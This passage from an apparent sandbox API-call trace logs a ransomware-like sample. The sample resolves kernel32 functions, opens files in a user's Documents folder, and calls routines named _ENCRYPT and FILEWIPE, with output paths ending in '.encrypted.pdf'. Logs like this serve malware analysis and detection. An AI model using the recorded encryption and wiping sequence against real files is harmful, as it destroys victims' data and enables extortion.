lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.397] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.397] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.397] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.397] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.397] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.397] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.397] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.397] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.397] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.397] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.397] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.397] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.398] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.398] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.398] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.398] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.398] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.398] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.398] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.398] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.398] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.398] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.398] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.398] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.398] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.398] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.398] CryptReleaseContext (hProv=0xe8f406a550, dwFlags=0x0) returned 1 [0024.398] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.398] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.398] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.398] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.398] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.398] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.398] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.399] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.400] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.400] CharLowerBuffW (in: lpsz="byte[27318]", cchLength=0xb | out: lpsz="byte[27318]") returned 0xb [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.400] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.400] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.400] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.401] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.402] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.402] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.402] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.402] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.402] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.402] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.402] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.402] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.402] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.402] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.402] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.402] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.402] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.402] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.402] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.402] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.403] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.403] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.403] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.403] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.403] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.403] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.403] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.403] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.404] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.404] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=3414) returned 1 [0024.404] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.404] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.404] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.404] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xd56, lpOverlapped=0x0) returned 1 [0024.404] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.404] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xd56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.404] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=3414) returned 1 [0024.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.encrypted.pdf\r\n", cchWideChar=93, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 93 [0024.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.encrypted.pdf\r\n", cchWideChar=93, lpMultiByteStr=0xe8f4062720, cbMultiByte=93, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.encrypted.pdf\r\n", lpUsedDefaultChar=0x0) returned 93 [0024.404] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4062aa0*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4062aa0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x5c, lpOverlapped=0x0) returned 1 [0024.404] CloseHandle (hObject=0x188) returned 1 [0024.405] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.405] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.406] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.406] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.406] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.406] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.406] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.407] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.407] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.407] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178520, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.408] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.ots", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0024.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.ots", cchWideChar=76, lpMultiByteStr=0xe8f4069dd0, cbMultiByte=76, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.ots", lpUsedDefaultChar=0x0) returned 76 [0024.408] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.ots" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\gifhucqicytovjewuyw\\h_idtn9q4xor8as.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0024.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=76, lpWideCharStr=0xe8f40603a0, cchWideChar=76 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.ots") returned 76 [0024.408] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.409] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.409] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.409] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.409] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41783a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.409] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.410] CloseHandle (hObject=0x188) returned 1 [0024.410] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.410] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.410] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.410] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.410] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.410] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.410] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.410] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.410] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.410] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 